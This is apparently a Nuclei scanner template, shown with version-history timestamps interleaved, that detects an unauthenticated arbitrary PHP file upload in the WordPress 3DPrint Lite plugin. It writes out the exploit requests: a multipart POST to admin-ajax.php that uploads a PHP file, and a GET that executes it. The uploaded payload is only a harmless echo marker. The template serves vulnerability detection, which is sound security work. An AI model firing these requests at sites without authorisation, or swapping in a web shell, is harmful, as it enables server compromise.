2022-09-15 10:21:34 +00:00
id : 3dprint-arbitrary-file-upload
2022-09-07 05:56:34 +00:00
info :
2022-11-08 20:55:31 +00:00
name : WordPress 3DPrint Lite <1.9.1.5 - Arbitrary File Upload
2022-09-07 05:56:34 +00:00
author : SecTheBit
severity : high
description : |
2022-11-08 20:55:31 +00:00
WordPress 3DPrint Lite plugin before 1.9.1.5 contains an arbitrary file upload vulnerability. The p3dlite_handle_upload AJAX action of the plugin does not have any authorization and does not check the uploaded file. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
remediation : Upgrade to 1.9.1.5 or later.
2022-09-07 05:59:34 +00:00
reference :
2022-09-07 05:56:34 +00:00
- https://wpscan.com/vulnerability/c46ecd0d-a132-4ad6-b936-8acde3a09282
- https://www.exploit-db.com/exploits/50321
2022-11-08 20:55:31 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cwe-id : CWE-434
2022-09-07 05:56:34 +00:00
metadata :
verified : true
2022-09-15 10:21:34 +00:00
tags : wpscan,edb,wordpress,wp,wp-plugin,fileupload,intrusive,3dprint
2022-09-07 05:56:34 +00:00
requests :
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Accept-Encoding : gzip, deflate
Content-Type : multipart/form-data; boundary=---------------------------54331109111293931601238262353
-----------------------------54331109111293931601238262353
Content-Disposition : form-data; name="action"
p3dlite_handle_upload
-----------------------------54331109111293931601238262353
Content-Disposition : form-data; name="file"; filename={{randstr}}.php
Content-Type : text/php
2022-09-15 09:20:10 +00:00
<?php echo '3DPrint-arbitrary-file-upload'; ?>
2022-09-07 05:56:34 +00:00
-----------------------------54331109111293931601238262353 --
- |
GET /wp-content/uploads/p3d/{{randstr}}.php HTTP/1.1
Host : {{Hostname}}
req-condition : true
matchers :
- type : dsl
dsl :
- 'contains(all_headers_2, "text/html")'
- "status_code_2 == 200"
2022-09-15 09:20:10 +00:00
- "contains(body_2, '3DPrint-arbitrary-file-upload')"
2022-09-07 05:56:34 +00:00
condition : and
2022-10-25 13:40:49 +00:00
2022-11-08 20:55:31 +00:00
# Enhanced by md on 2022/10/31